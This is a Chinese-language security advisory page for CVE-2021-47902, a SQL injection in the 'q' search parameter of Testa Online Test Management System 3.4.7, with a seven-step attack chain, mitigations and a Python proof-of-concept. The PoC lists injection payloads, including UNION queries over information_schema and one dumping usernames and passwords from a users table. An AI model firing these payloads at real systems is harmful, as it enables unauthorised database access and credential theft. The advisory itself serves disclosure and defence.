IPBUF安全漏洞报告
English
CVE-2021-47902 CVSS 8.2 高危

CVE-2021-47902 Testa Online Test Management System SQL注入漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2021-47902
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Testa Online Test Management System

相关标签

SQL注入Testa在线测试管理系统CVE-2021-47902Web安全数据库漏洞高危漏洞无需认证远程利用

漏洞概述

CVE-2021-47902是Testa Online Test Management System(在线测试管理系统)3.4.7版本中存在的严重安全漏洞。该漏洞属于SQL注入类型,存在于系统的搜索功能模块中。攻击者可以通过操纵Web应用程序的'q'搜索参数,注入恶意SQL代码,从而未经授权地访问和操作后端数据库。由于该漏洞的CVSS评分为8.2(高危级别),且攻击向量为网络可远程利用,无需任何认证或用户交互,因此具有极高的实际威胁性。攻击者利用此漏洞可以提取数据库中的敏感信息,包括用户账户数据、系统配置信息以及其他机密业务数据,对组织的机密性和完整性造成严重影响。

技术细节

该SQL注入漏洞存在于Testa Online Test Management System 3.4.7版本的搜索功能模块中。漏洞的具体位置是'q'搜索参数,应用程序在处理用户输入的搜索关键词时,未对输入内容进行充分的过滤和参数化处理。攻击者可以在搜索参数中构造恶意的SQL语句片段,如使用单引号、UNION SELECT、条件判断语句等SQL语法元素,使原本的查询逻辑被篡改。当恶意payload被数据库服务器执行时,攻击者可以获取数据库结构信息、提取敏感数据表的字段内容,甚至在某些配置不当的情况下可能实现操作系统命令执行。CVSS向量显示该漏洞对机密性影响为高(H),对完整性影响为低(L),可用性无影响(A:N),这表明攻击的主要危害在于信息泄露而非数据篡改或服务中断。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统为Testa Online Test Management System 3.4.7版本,确认搜索功能模块的访问入口
STEP 2
步骤2:漏洞探测
攻击者通过在'q'搜索参数中注入特殊字符(如单引号')来探测SQL注入漏洞存在性,观察返回的数据库错误信息
STEP 3
步骤3:注入点确认
使用SQL逻辑测试语句(如' OR '1'='1)确认注入点有效,验证应用程序对恶意输入的处理行为
STEP 4
步骤4:数据库指纹识别
通过注入特定SQL语句获取数据库类型和版本信息,为后续数据提取做准备
STEP 5
步骤5:数据库结构枚举
利用UNION注入等技术查询information_schema表,获取数据库表结构、字段名称等元数据
STEP 6
步骤6:敏感数据提取
构造SQL查询语句从users等敏感表中提取用户名、密码等机密信息
STEP 7
步骤7:权限提升或持久化
利用获取的凭据进行后续攻击,可能包括管理后台访问、横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47902 SQL Injection PoC for Testa Online Test Management System 3.4.7 # Target: Testa Online Test Management System # Vulnerability: SQL Injection in 'q' search parameter import requests import sys target_url = "http://target-host/testa/search" # Basic authentication bypass detection payload basic_payloads = [ "'", "' OR '1'='1", "' OR 1=1--", "' UNION SELECT NULL--", "' AND SLEEP(5)--" ] # Database enumeration payloads enum_payloads = [ "' UNION SELECT table_name FROM information_schema.tables--", "' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--", "' UNION SELECT username,password FROM users--" ] def test_sqli(url, payload): """Test SQL injection vulnerability""" params = {'q': payload} try: response = requests.get(url, params=params, timeout=10) # Check for SQL error indicators in response sql_error_indicators = [ "mysql", "sql", "syntax", "error", "warning", "mysql_fetch", "mysql_query", "pdo", "sqlite" ] response_lower = response.text.lower() for indicator in sql_error_indicators: if indicator in response_lower: return True, indicator except Exception as e: print(f"[-] Error: {e}") return False, None def main(): print("[*] CVE-2021-47902 SQL Injection Test") print(f"[*] Target: {target_url}") # Basic vulnerability check for payload in basic_payloads: print(f"[*] Testing payload: {payload}") is_vulnerable, error_type = test_sqli(target_url, payload) if is_vulnerable: print(f"[!] Potential SQL injection detected!") print(f"[!] Error type: {error_type}") print(f"[!] Vulnerable payload: {payload}") # Attempt enumeration print("[*] Attempting database enumeration...") for enum_payload in enum_payloads: print(f"[*] Testing: {enum_payload}") test_sqli(target_url, enum_payload) break if __name__ == "__main__": main()

影响范围

Testa Online Test Management System < 3.4.7
Testa Online Test Management System = 3.4.7

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 在Web应用防火墙或反向代理层配置SQL注入防护规则,拦截包含可疑SQL语法的请求;2) 对搜索功能暂时禁用或限制使用,改为后台管理员专用;3) 实施严格的输入长度限制和字符类型过滤;4) 加强对数据库和应用程序的日志监控,及时发现异常查询行为;5) 考虑使用数据库权限分离,限制搜索功能账户的数据访问范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表